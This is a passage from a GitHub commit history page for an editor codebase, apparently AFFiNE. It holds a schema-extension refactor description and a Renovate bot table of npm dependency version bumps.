Commit Graph

64 Commits

Author SHA1 Message Date
Saul-Mirone
fd6d96a38e refactor(editor): use transformer from store when possible (#10453) 2025-02-26 14:15:04 +00:00
Saul-Mirone
ce87dcf58e feat(editor): schema extension (#10447)
1. **Major Architectural Change: Schema Management**
   - Moved from `workspace.schema` to `store.schema` throughout the codebase
   - Removed schema property from Workspace and Doc interfaces
   - Added `BlockSchemaExtension` pattern across multiple block types

2. **Block Schema Extensions Added**
   - Added new `BlockSchemaExtension` to numerous block types including:
     - DataView, Surface, Attachment, Bookmark, Code
     - Database, Divider, EdgelessText, Embed blocks (Figma, Github, HTML, etc.)
     - Frame, Image, Latex, List, Note, Paragraph
     - Root, Surface Reference, Table blocks

3. **Import/Export System Updates**
   - Updated import functions to accept `schema` parameter:
     - `importHTMLToDoc`
     - `importHTMLZip`
     - `importMarkdownToDoc`
     - `importMarkdownZip`
     - `importNotionZip`
   - Modified export functions to use new schema pattern

4. **Test Infrastructure Updates**
   - Updated test files to use new schema extensions
   - Modified test document creation to include schema extensions
   - Removed direct schema registration in favor of extensions

5. **Service Layer Changes**
   - Updated various services to use `getAFFiNEWorkspaceSchema()`
   - Modified transformer initialization to use document schema
   - Updated collection initialization patterns

6. **Version Management**
   - Removed version-related properties and methods from:
     - `WorkspaceMetaImpl`
     - `TestMeta`
     - `DocImpl`
   - Removed `blockVersions` and `workspaceVersion/pageVersion`

7. **Store and Extension Updates**
   - Added new store extensions and adapters
   - Updated store initialization patterns
   - Added new schema-related functionality in store extension

This PR represents a significant architectural shift in how schemas are managed, moving from a workspace-centric to a store-centric approach, while introducing a more extensible block schema system through `BlockSchemaExtension`. The changes touch multiple layers of the application including core functionality, services, testing infrastructure, and import/export capabilities.
2025-02-26 11:31:29 +00:00
CatsJuice
e1fd8f5d80 fix(core): correctly toggle visibility of starter-bar based on doc.isEmpty (#10439) 2025-02-26 07:49:51 +00:00
forehalo
2e0f0c624a chore: set base version to 0.20 (#10382) 2025-02-24 04:44:42 +00:00
renovate
dc7e7cfc75 chore: bump up all non-major dependencies (#10132)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.744.0` -> `3.750.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.1.6` -> `7.2.16`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.1.6/7.2.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.4` -> `5.0.5`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.4/5.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@lit/context](https://lit.dev/) ([source](https://redirect.github.com/lit/lit/tree/HEAD/packages/context)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@lit%2fcontext/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.54.0` -> `8.55.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.54.0/8.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.15` -> `1.10.17`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.15/1.10.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`22.13.1` -> `22.13.4`](https://renovatebot.com/diffs/npm/@types%2fnode/22.13.1/22.13.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.8` -> `19.0.10`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.8/19.0.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.3` -> `19.0.4`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.3/19.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [bullmq](https://bullmq.io/) ([source](https://redirect.github.com/taskforcesh/bullmq)) | [`5.40.2` -> `5.41.2`](https://renovatebot.com/diffs/npm/bullmq/5.40.2/5.41.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron](https://redirect.github.com/electron/electron) | [`34.1.1` -> `34.2.0`](https://renovatebot.com/diffs/npm/electron/34.1.1/34.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron-updater](https://redirect.github.com/electron-userland/electron-builder) ([source](https://redirect.github.com/electron-userland/electron-builder/tree/HEAD/packages/electron-updater)) | [`6.5.0` -> `6.6.0`](https://renovatebot.com/diffs/npm/electron-updater/6.5.0/6.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fast-xml-parser](https://redirect.github.com/NaturalIntelligence/fast-xml-parser) | [`4.5.1` -> `4.5.2`](https://renovatebot.com/diffs/npm/fast-xml-parser/4.5.1/4.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.2.2` -> `9.3.0`](https://renovatebot.com/diffs/npm/html-validate/9.2.2/9.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [inquirer](https://redirect.github.com/SBoudrias/Inquirer.js/blob/main/packages/inquirer/README.md) ([source](https://redirect.github.com/SBoudrias/Inquirer.js)) | [`12.4.1` -> `12.4.2`](https://renovatebot.com/diffs/npm/inquirer/12.4.1/12.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.12.0` -> `2.12.1`](https://renovatebot.com/diffs/npm/jotai/2.12.0/2.12.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nanoid](https://redirect.github.com/ai/nanoid) | [`5.0.9` -> `5.1.0`](https://renovatebot.com/diffs/npm/nanoid/5.0.9/5.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.2.0` -> `5.4.0`](https://renovatebot.com/diffs/npm/nestjs-cls/5.2.0/5.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
